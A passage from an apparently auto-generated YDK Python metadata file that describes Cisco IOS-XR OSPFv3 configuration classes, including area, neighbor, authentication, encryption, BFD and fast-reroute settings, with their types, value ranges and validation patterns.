_MetaInfoClassMember('range', REFERENCE_LIST, 'Range' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Ranges.Range',
[], [],
''' Summarize inter-area routes matching
prefix/length
''',
'range',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'ranges',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Nssa' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Nssa',
False,
[
_MetaInfoClassMember('default-info-originate', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Originate Type 7 default into NSSA area
''',
'default_info_originate',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric', ATTRIBUTE, 'int' , None, None,
[('0', '16777214')], [],
''' Only valid with DefaultInfoOriginate
''',
'metric',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('metric-type', REFERENCE_ENUM_CLASS, 'Ospfv3MetricEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3MetricEnum',
[], [],
''' Only valid with DefaultInfoOriginate
''',
'metric_type',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('no-redistribution', ATTRIBUTE, 'bool' , None, None,
[], [],
''' No redistribution into this NSSA area
''',
'no_redistribution',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('no-summary', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Do not send summary LSA into NSSA
''',
'no_summary',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'nssa',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DatabaseFilter.All' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DatabaseFilter.All',
False,
[
_MetaInfoClassMember('out', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable or disable database-filter
''',
'out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'all',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DatabaseFilter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DatabaseFilter',
False,
[
_MetaInfoClassMember('all', REFERENCE_CLASS, 'All' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DatabaseFilter.All',
[], [],
''' All
''',
'all',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'database-filter',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DistributeList.In_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DistributeList.In_',
False,
[
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Filter prefixes based on an IPv6 prefix-list
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'in',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DistributeList' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DistributeList',
False,
[
_MetaInfoClassMember('in', REFERENCE_CLASS, 'In_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.DistributeList.In_',
[], [],
''' Filter prefixes installed to RIB
''',
'in_',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors.Neighbor' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors.Neighbor',
False,
[
_MetaInfoClassMember('neighbor-address', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' IPV6 address
''',
'neighbor_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' OSPFv3 cost for point-to-multipoint
neighbor
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Filter OSPFv3 LSA during synchronization
and flooding for point-to-multipoint
neighbor
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('poll-interval', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' OSPFv3 dead-router polling interval (in
seconds)
''',
'poll_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' OSPFv3 priority of non-broadcast neighbor
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('zone', ATTRIBUTE, 'str' , None, None,
[], [],
''' Zone
''',
'zone',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'neighbor',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors',
False,
[
_MetaInfoClassMember('neighbor', REFERENCE_LIST, 'Neighbor' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors.Neighbor',
[], [],
''' IPv6 address
''',
'neighbor',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'neighbors',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Bfd' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.Bfd',
False,
[
_MetaInfoClassMember('detection-multiplier', ATTRIBUTE, 'int' , None, None,
[('2', '50')], [],
''' Detect multiplier
''',
'detection_multiplier',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-detect-mode', REFERENCE_ENUM_CLASS, 'Ospfv3BfdEnableModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3BfdEnableModeEnum',
[], [],
''' Enable or disable BFD fast detection
''',
'fast_detect_mode',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('3', '30000')], [],
''' Hello interval in milli-seconds
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bfd',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter.All' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter.All',
False,
[
_MetaInfoClassMember('out', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable or disable database-filter
''',
'out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'all',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter',
False,
[
_MetaInfoClassMember('all', REFERENCE_CLASS, 'All' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter.All',
[], [],
''' All
''',
'all',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'database-filter',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList.In_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList.In_',
False,
[
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Filter prefixes based on an IPv6
prefix-list
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'in',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList',
False,
[
_MetaInfoClassMember('in', REFERENCE_CLASS, 'In_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList.In_',
[], [],
''' Filter prefixes installed to RIB
''',
'in_',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
